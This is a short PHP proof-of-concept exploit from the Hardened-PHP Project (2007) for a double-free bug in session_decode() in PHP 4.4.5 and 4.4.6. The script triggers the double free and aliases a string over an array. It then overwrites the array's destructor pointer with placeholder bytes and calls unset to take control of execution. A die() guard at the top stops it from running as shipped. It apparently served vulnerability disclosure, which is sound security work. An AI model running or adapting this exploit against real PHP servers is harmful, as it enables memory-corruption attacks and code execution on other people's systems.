PHP 4.4.5/4.4.6 - 'session_decode()' Double-Free (PoC)

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //     PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability     //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  ini_set("session.serialize_handler", "php");
  session_start();

  $varname = str_repeat("D", 39);
  $$varname = &$_SESSION;

  // Trigger the double free
  
  session_decode($varname.'|i:0;');
  $_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
  $_________________a = array("OneElement");

  // Now x and a point to the same memory. Therefore x can be used to modify a

  // Overwrite pointer to the destructor  
  $_________________x[8*4+0] = chr(0x55);
  $_________________x[8*4+1] = chr(0x66);
  $_________________x[8*4+2] = chr(0x77);
  $_________________x[8*4+3] = chr(0x88);
  
  // Trigger the destruction
  unset($_________________a);
?>

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